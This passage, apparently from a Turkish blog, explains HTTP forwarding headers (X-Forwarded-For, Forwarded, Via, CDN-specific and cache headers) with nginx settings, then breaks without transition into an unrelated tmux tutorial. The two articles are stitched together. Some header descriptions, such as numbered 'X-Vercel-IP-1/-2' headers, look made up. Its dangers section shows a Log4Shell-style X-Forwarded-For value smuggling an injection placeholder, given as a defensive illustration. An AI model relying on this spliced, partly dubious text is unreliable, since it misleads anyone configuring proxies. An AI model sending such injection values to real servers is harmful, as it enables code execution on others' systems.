Temelde, güvenilir ve kontrol edilebilir proxy’den önceki tüm ip adreslerine şüpheyle yaklaşılmalı. Bunu sağlamak için, reverse proxy seviyesinde başlıkların(header) nasıl oluşturulduğunu değiştiren kararlar alabilirsiniz. Örneğin, nginx, X-Forwarded-For başlığını tamamen geçersiz kılabilir, istemcinin sağladığı her şeyi görmezden gelebilir ve onu gördüğü gerçek IP adresiyle değiştirebilir. Tüm istekler nginx üzerinden gelirse, bu, altyapınızın etrafına etkili bir şekilde bir çizgi çizer ve dışarıdan alınan tüm güvenilmeyen değerleri bırakarak altyapınızdaki diğer tüm hizmetlerin bu başlığa güvenmesine olanak tanır. Bunun için nginx’te aşağıdaki konfigürasyon tanımlanabilir

proxy_set_header X-Forwarded-For $remote_addr;

Bu konfigürasyon, XFF başlığını client’ın gerçek IP adresiyle değiştirir ve client tarafından gelenleri görmezden gelir. Bu sayede bu IP adresine güvenebilirsiniz.

Eğer altyapının tek bir giriş noktası yoksa yani birden fazla proxy varsa, bu durumda backend uygulamasının gelen değerleri işleyip temizlemesi ve gerçek IP adresine göre işlem yapmasını sağlayabilirsiniz. Yine de bu işlem isteklerin güvenle ele alındığının garanti edilmesi için zor bir yol.

Client tarafından gönderilen XFF isteğini koruyup, isteğin geldiği gerçek ip adresini de eklemek için nginx üzerinde aşağıdaki konfigürasyon tanımlanabilir.

proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

Eğer Nginx sunucunuz bir dizi proxy sunucusu arasında yer alıyorsa ve her bir proxy sunucusunun IP adresi korunmalıysa, $proxy_add_x_forwarded_for kullanmak daha uygundur. Bu şekilde, mevcut X-Forwarded-For başlığına eklenen yeni IP adresleri zinciri oluşturulur.

Bu isteğin backend tarafından doğru şekilde ele alınması fevkalade önemli tabii.

X-Forwarded-Host ?

X-Forwarded-Host: HTTP isteği iletilirken, arada load balancer gibi bir proxy bulunan bağlantılarda, istemcinin ana hedef sunucuyu belirtmesini sağlamak için kullanılır. Birden fazla kullanım nedeni olabilir fakat bir örnek vermek gerekirse:

Virtual hosting ile birden fazla hostun barındırıldığı bir uygulama sunucusu düşünelim. Bu hostlar “internal network” yani yalnızca “iç ağ” üzerinden erişilebilir olsun. Bu hostlara erişmek için de “internet” ile “internal” network arasında reverse proxy, load balancer ya da bir CDN servisi olsun. Bu durumda eğer internet üzerindeki bir kullanıcı, iç ağda(internal network) bulunan bir hosta istek gönderirse, bu istek reverse proxy’nin bulunduğu ip adresine çözümlenecek. Yani yapı gereği tüm hostların önünde bu reverse proxy durduğu için istek öncelikle mecburen bu reverse proxy’e ulaştırılacak. Reverse proxy de internal network’de bulunan bu host’u bulup, isteği ilgili host’a iletecek. Bunu yaparken, reverse proxy Host başlığını internal network’deki host ile değiştirip, kullanıcı tarafından belirtilen host bilgisini ise X-Forwarded-Host başlığı ile yine iletir. Bu sayede, hedefteki host’ta yer alan web uygulaması, kullanıcının hangi host’a erişmek istediğini anlayıp uygun şekilde işlem yapabilir. Örneğin kayıt tutabilir ya da farklı bir yönlendirme yapısı varsa bu host bilgisine uygun şekilde yönlendirme de gerçekleştirebilir.

Özetle, X-Forwarded-Host bilgisi, istemcinin orijinal host hedefini koruyarak nihai hedef sunucuya ulaştırmak için kullanılan bir başlıktır. Bu bilgi ihtiyaca yönelik olarak pek çok farklı amaçla kullanılabilir.

Ayrıca hedef sunucuya protokol ve port bilgisini iletmek için de X-Forwarded-Proto ve X-Forwarded-Port başlıkları da kullanılabilir.

Alternatifler ve Standartlar

X-Forwarded-* ile başlayan başlıklar esasen “de facto” başlıklardır. Bu sebeple standartlaşması adına çeşitli başlıklar tanımlanmıştır.

de facto: resmi olmamakla birlikte fiilen devam eden, süregelen anlamına gelmektedir.

Forwarded Başlığı

X-Forwarded-* başlıkları yaygın kullanımına karşın aslında şaşırtıcı biçimde resmi bir standart değildir. Yani IETF gibi bir oluşum tarafından standart olarak tanımlanmamıştır. Popüler olmasına ve genellikle uyumluluk sorunları yaşanmamasına rağmen, bu başlıklar yerine RFC 7239: 2014’te Forwarded başlığı tanımlanmıştır.

Kullanım örneği için aşağıdaki resimde olduğu gibi bir durumu ele alırsak, uygulama sunucusuna ulaşan istekteki Forwarded başlığı şu şekilde olurdu.

Eğer ipv6 adresleri belirtilecekse köşeli parantez içinde belirtiliyor.

X-Forwarded-For: 192.0.2.43, 2001:db8:cafe::17
Forwarded: for=192.0.2.43, for="[2001:db8:cafe::17]"

Örneğin nginx’in önerdiği gibi, Forwarded ile istemciye yönelik güvenilir proxy’niz kendisini tanımlamak için “secret token” içerebilir:

Forwarded: for=12.34.56.78, for=23.45.67.89;secret=egah2CGj55fSJFs, for=10.1.2.3

Bu sayede yalnızca gerçekten ilgili proxy tarafından eklenebilecek bir “gizli” token ile bu isteğin zararlı olmadığını teyit etmek mümkün olabilir.

Üstelik gelecekte eklenebilecek yeni direktiflere ek olarak by for host proto gibi direktifler ile özelleşmiş istekler oluşturmak mümkün.

Kısaca buradaki direktifleri açıklayacak olursak:

• by : isteğin nereden geldiğinin bilgisi: Yani ilgili istediğin doğrudan kaynağı.
  • hidden veya secret gibi bir doğrulama tokeni ile doğrulama işleminde kullanılır
  • ip adresini belirtir( v4 veya v6, isteğe bağlı olarak port belirtilebilir ayrıca ipv6 [köşeli parantez] içinde olmalıdır.
  • Kaynak bilinmediğinde unknown şeklinde de belirtilebilir.
• for : Bu isteğin kim veya sırasıyla kimler için yapıldığının bir bilgisidir. Yani X-Forwarded-For başlığı yerine kullanılabilir.
• host proxy tarafından alınan Host header bilgisidir. X-Forwarded-Host ile benzer amaçlar için kullanılabilir.
• proto : İstekte bulunmak için hangi protokolün kullanıldığını belirtir (genellikle “http” veya “https”).

Örnekler:

Forwarded: for="_mdn"

# Küçük büyük harf duyarsızdır
Forwarded: For="[2001:db8:cafe::17]:4711"

# noktalı virgül ile birbirinden ayrılır
Forwarded: for=192.0.2.60;proto=http;by=203.0.113.43, host=example.com

# Birden fazla proxyden gelen değerler virgül kullanılarak eklenebilir
Forwarded: for=192.0.2.43, for=198.51.100.17

Tek bir Forwared ile belirtilebilecek metaveriler ayrı ayrı X-Forwarded-For X-Forwarded-Host X-Forwarded-Proto başlıkları ile belirtiliyordu. Forwared bunu daha basitleştirmiş oldu.

Via Başlığı

İsteğin kimin üzerinden geldiğinin bilgisini verir. Üstelik protokol ve sürüm bilgileri de yer alır. Bu sayede isteğin HTTP/2’den 1.1’e veya HTTPS’den HTTP’ye düşürülüp düşürülmediğini gibi bilgileri edinmek de mümkün olur. Ayrıca hangi yazılım ve sürümün kullandığı gibi bazı ek bilgiler de sunulabileceği için X-Forwarded-For ve Forwarded başlıklarından farklı olarak daha çok bilgi/hata ayıklama veya bilgi verme amaçlı kullanılır.

Örneğin:

Via: 1.1 proxy1.example.com (Apache/2.2.22)

Bu başlık, HTTP/1.1 isteğinin proxy1.example.com adlı bir proxy sunucusundan geçtiğini ve bu proxy sunucusunun Apache/2.2.22 sürümü olduğunu belirtir.

Birden fazla proxy sunucusu varsa, her biri sırayla listelenir:

Via: 1.1 proxy1.example.com, 1.1 proxy2.example.com

Bu örnekte, HTTP/1.1 istekleri önce proxy1.example.com’dan geçer, ardından proxy2.example.com’dan geçer.

Diğer Başlıklar

Benzer amaçlarla kullanılan standart olmayan diğer başlıklardan da kısaca söz edebiliriz.

X-Real-IP: kesin bir standart yaklaşım olmamakla birlikte genellikle sunucuya isteği ileten ip adresini belirtmek için kullanılır. Tıpkı Forwarded başlığının by direktifi gibi kullanılabiliyor. Örneğin nginx için aşağıdaki şekilde bir konfigürasyon tanımlaması yapılır.

proxy_set_header X-Real-IP $remote_addr;

Yukarıdaki tanımlama sayesinde nginx sunucuya istekte bulunan istemcinin gerçek ip adresi X-Real-IP olarak tutulacaktır.

Ama bu konuda standart bir yaklaşım olmadığı için kimi sunucular X-Forwarded-For yerine aynı amaçla X-Real-IP kullanabiliyor. RFC kılavuzlarında standart hale getirilmeyen tüm başlıklar için farklı kullanım senaryoları ile karşılaşmak kaçınılmaz.

CF-Connecting-IP: Cloudflare, istekleri kendisine yönlendirirken, gerçek istemci IP adresini CF-Connecting-IP başlığına ekler ve bu şekilde hedef sunucu, isteğin asıl kaynağını doğru bir şekilde belirleyebilir.

Ali-CDN-Real-IP : Bu başlık, Alibaba Cloud CDN’inin arkasındaki web sunucusunda, isteğin nereden geldiğini yani istemcinin gerçek IP adresini doğru bir şekilde belirlemek için kullanılır.

X-NF-Client-Connection-IP : istemcinin gerçek IP adresini almak için Netlify’ın kullandığı başlıktır. Ayrıca http istekleri içinde XFF ve diğer başlıklar olsa bile bunlar Netlify tarafından desteklenmediği için dikkate alınmaz.

X-Vercel-Forwarded-For : XFF başlığının Vercel tarafında kullanılan versiyonudur. Bu başlık, isteğin Vercel’in sunucularına ulaşırken geçtiği proxy sunucularını ve gerçek istemci IP adresini içerir.

Örneğin, bir istemci Vercel’in sunucularına bir istek gönderdiğinde ve bu istek bir proxy sunucusu üzerinden geçiyorsa, bu başlık şu şekilde olabilir:

X-Vercel-Forwarded-For: 203.0.113.195, 198.51.100.17

Bu, isteğin orijinal istemci IP’si 203.0.113.195 olduğunu ve bu isteğin proxy sunucuları aracılığıyla geçtiğini gösterir. En son IP adresi (198.51.100.17) genellikle Vercel’in sunucusunun IP adresini içerir.

X-Vercel-IP-{…} : Bu başlık, Vercel’in sunucuları aracılığıyla iletilen isteklerde, isteğin gerçek istemci IP adresini içerir. Bu başlık, genellikle “X-Vercel-IP” başlığı altında tek bir IP adresi ile gelir, ancak bazen bir dizi başlık (“X-Vercel-IP-1”, “X-Vercel-IP-2”, vb.) şeklinde de olabilir.

X-Vercel-IP: 203.0.113.195

X-Vercel-IP-1: 203.0.113.195
X-Vercel-IP-2: 198.51.100.17

Cache-Status, X-Cache-Status, X-Served-By, X-Cache-Hits

Bu başlıklar, sunucudan istemciye gönderilen yanıtlardaki başlıklardır. Bu başlıklar, web sunucusu ve önbellek(cache) sistemi tarafından sağlanan istatistikleri ve isteğin işlenme durumunu belirlemek için kullanıyor. Yani verilen yanıt önbellekten mi döndürülüyor eğer öyleyse ne kadar ve ne şekilde önbellekte tutulacak gibi bilgiler sunuluyor.

1. Cache-Status: Bu başlık, bir sunucunun isteği önbelleğe alıp almadığını veya isteğin nasıl işlendiğini belirtir. Sunucu yanıtının durumunu ifade eder.

   Örneğin:

    Cache-Status: MISS
   

   Bu, isteğin önbellekte bulunmadığını ve sunucunun orijinal içeriği döndürdüğünü gösterir. “MISS”, önbelleğe alınmamış bir isteği belirtir.

   Diğer olası değerler arasında “HIT” (içerik önbelleğe alındı ve doğrudan önbellekten alındı) ve “EXPIRED” (önbellekteki içerik zaman aşımına uğradı) bulunur.

2. X-Cache-Status: Bu başlık da önbellek durumunu belirtir, ancak genellikle bir proxy sunucusu veya bir CDN tarafından eklenir.

   Örneğin:

    X-Cache-Status: MISS
   

   Bu, isteğin önbellekte bulunmadığını ve sunucunun orijinal içeriği geri döndürdüğünü gösterir. HIT ve EXPIRED de yukarıdaki şekilde aynı anlama gelir.

3. X-Served-By: Bu başlık, isteğin işlendiği sunucunun adını veya IP adresini belirtir. Özellikle, bir yük dengeleyici veya bir proxy sunucusu tarafından eklenir.

   Örneğin:

    X-Served-By: cache-sea4481-SEA
   

   Bu, isteğin “cache-sea4481-SEA” adlı bir sunucu tarafından işlendiğini gösterir.

4. X-Cache-Hits, bir HTTP başlığıdır ve genellikle bir proxy sunucusu veya bir önbellek sistemi tarafından eklenir. Bu başlık, belirli bir içeriğin önbelleğe alındığı ve önbellekteki içeriğin kaç kez kullanıldığını belirtir.

   Örneğin:

    X-Cache-Hits: 3
   

   Bu, istenen içeriğin önbellekte bulunduğunu ve bu içeriğin toplamda 3 kez önbellekten alındığını gösterir.

Daha fazla detay için göz atabilirsiniz.

Olası Tehlikeler Üzerine

HTTP başlıklarının kötüye kullanımlarına dair notlar.

Arbitrary Code Execution

Şimdiye kadar bahsetmiş olduğumuz sahte ip adreslerinin ötesinde aslında doğrudan zararlı kod çalıştırmak da mümkün olabilir.

Eğer saldırganlar tarafından, hedefteki teknolojik altyapı biliyor veya tahmin edilebiliyorsa ve kullanıcı girdileri düzgün şekilde ele alınıp temizlenmiyorsa log kayıtlarını tutan servisler gibi harici servisler üzerinden zararlı kod yürütme mümkün olabilir. Bu duruma örnek olarak Log4Shell olarak bilinen CVE-2021-44228 zafiyetini düşünebiliriz.

Şöyle bir girdi olduğunu düşünebilirsiniz

X-Forwarded-For: 1.2.3.4,${zararlı-kod()},2.2.2.2,28.178.124.142,198.40.10.101

Bu tür zafiyetlerin önüne geçmek için her türlü girdiyi doğrulamak gerek. Örneğin uygun uzunlukta olmayan veya ip adresi formatında olmayan girdilerin kontrolü yapılabilir.

HTTP Request Smuggling

Backend sunucusu önünde duran sunucular, istekleri backend’e iletmeden önce bazı başlıklar eklerler. Bunlardan biri de XFF başlığı olabilir. HTTP Request Smuggling saldırısı ile bu başlığı manipüle ederek normalde erişilemeyecek kaynaklara erişmek mümkün olabilir.

Request Smuggling

ℹ️ Not: Olası tehlikeler hakkında ileride güncelleme ile daha detaylı bir açıklama eklenebilir.

Kaynakça ve İleri Okuma

• What is XFF
• RFC 7239: Forwarded HTTP Extension
• MDN Web Docs: X-Forwarded-For
• MDN Web Docs: Forwarded
• Using Forwarded in NGINX
• Cloudflare Fundamentals: HTTP request headers
• Derinlemesine Nginx
• Real Life Usage Of XFH
• X-Forwarded-Host
• Host Header Vulnerabilities

tmux sayesinde tek bir konsol oturumunu birden fazla parçaya bölüp kullanabiliyoruz. Zaten aracımızın ismi de terminal multiplexer ifadesinden geliyor.

tmux Kurulumu

Bu araç varsayılan olarak yüklü gelmediği için sudo apt install tmux ya da sudo dnf install tmux komutu ile kurabilirsiniz.

┌──(taylan㉿linuxdersleri)-[~]
└─$ sudo apt install tmux
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
  tmux
0 upgraded, 1 newly installed, 0 to remove and 1827 not upgraded.
Need to get 455 kB of archives.
After this operation, 1,137 kB of additional disk space will be used.
Get:1 http://kali.download/kali kali-rolling/main amd64 tmux amd64 3.3a-4 [455 kB]
Fetched 455 kB in 14s (32.1 kB/s)
Selecting previously unselected package tmux.
(Reading database ... 291994 files and directories currently installed.)
Preparing to unpack .../archives/tmux_3.3a-4_amd64.deb ...
Unpacking tmux (3.3a-4) ...
Setting up tmux (3.3a-4) ...
Processing triggers for man-db (2.9.4-4) ...
Processing triggers for kali-menu (2021.4.2) ...

Aracımız kurulduktan sonra tmux komutu ile başlatabiliyoruz.

tmux komutunu girdikten sonra, tmux oturumunda bash kabuğu çalıştırılıyor. Bu araç üzerinden komutlarımızı girebiliyoruz. Dilersek dikey ve yatay olarak yeni konsol oturumları eklememiz mümkün. tmux kısayollarını kullanabilmek için öncelikle Ctrl + B tuşuna basıyoruz. Daha sonra dikey olarak yeni konsol ekleyeceksek yüzde işareti % tuşuna basıyoruz.

Eğer yatay olarak bölüp yeni konsol oturumu eklenecekse Ctrl + B tuşuna bastıktan sonra tırnak işaretini “ oluşturan tuşa basıyoruz.

Bu konsollar arasında geçiş yapmak için Ctrl + B tuşuna bastıktan sonra klavyemizdeki sağ sol yön tuşları ile ilgili konsol oturumuna geçiş yapabiliyoruz. Zaten hangi konsolda olduğunuzu, pencereleri birbirinden ayıran renkli çizgi sayesinde takip edebilirsiniz.

Eğer bir oturumu sonlandırmak istiyorsanız üzerinde bulunduğunuz tmux oturumunu exit komutunu girerek kapatabilirsiniz.

Konsol oturumunu sonlandırmak yerine, ilgili konsolun arkaplanda çalışmaya devam etmesini sağlayıp, bu konsol oturumundan geçici süreliğine ayrılmanız da mümkün. Örneğin ben denemek için tmux komutunu girip yeni bir konsol oturumu başlatıyorum. Ve bu oturumda top komutunu çalıştırıyorum. Normalde eğer konsol kapanacak olursa bu top aracı da kapanacağı için çalışmayı sürdürmeyecek. Fakat ben oturumu tamamen kapatmak yerine oturumdan ayrılmak için Ctrl + B tuşlamasını yapıp D tuşuna basıyorum. Buradaki D tuşu “detach” yani “ayırmak” ifadesinden gelen bir kısaltma. Bu sayede konsoldaki hiç bir işlem sonlandırılmadan biz konsoldan ayrılmış oluyoruz. Ayrıldığımız oturumları görmek için de tmux list-sessions komutunu kullanıyoruz.

Ayrıldığımız oturumlara geri dönmek için tmux attach komutunu kullanabiliyoruz.

Eğer ayrıldığımız birden fazla oturum varsa geçiş yapmak istediğimiz oturumu tmux attach -t oturum-sayısı komutuyla özel olarak belirtmemiz gerekiyor.

Bu yaklaşım sayesinde oturumlarda gerçekleştirilen işlemler sonlandırılmadan, başka konsol oturumlarında çalışabiliyoruz. Örneğin bir konsolda ssh ile bağlantı sağlayıp işlemler gerçekleştiriyorken, bu şekilde konsoldan ayrıldığımızda ssh bağlantısı ve tabii ilgili işlemler arkaplanda devam edecek. Biz de dilediğimiz zaman bu konsol oturumuna dönebileceğiz.

Bu esnek kullanım özelliğine ek olarak, konsol üzerinde kopyalama ve yapıştırma gibi işlemleri gerçekleştirmemiz de mümkün. Bu özellik, komut satırı arayüzünde çalışan tty konsolları üzerinde çalışmamız gerektiğinde, fare kullanamadığımızda işimizi inanılmaz kolaylaştırıyor.

Kopyalamak için Ctrl + B tuşlamasından sonra [ sembolünü temsil eden tuşlamayı yapıyoruz. Bu noktadan itibaren imlecimizi mevcut konsol yazıları üzerinde yön tuşları ile rahatça hareket ettirebiliyoruz. Kopyalamak istediğimiz bölümün başına yön tuşları ile geldikten sonra seçme işlemi için Ctrl + Space tuşuna bastıktan sonra yine yön tuşları ile ilgili yazı seçiyoruz. Seçme işlemi bittikten sonra Ctrl + W tuşu ile seçili metni kopyalıyoruz.

Kopyalanmış olan metni yapıştırmak için de Ctrl + B tuşlamasından sonra ] sembolünü temsil eden tuşlamayı yapmamız yeterli oluyor.

tmux aracının en temel kullanımı bu şekilde. Tabii ki aracın kullanımı ve konfigürasyonuna dair pek çok ek ayrıntı mevcut fakat temel kullanım amacı için burada bahsetmiş olduğumuz kadarlık bilgi yeterli. Daha fazlası için ek araştırma yapmakta özgürsünüz.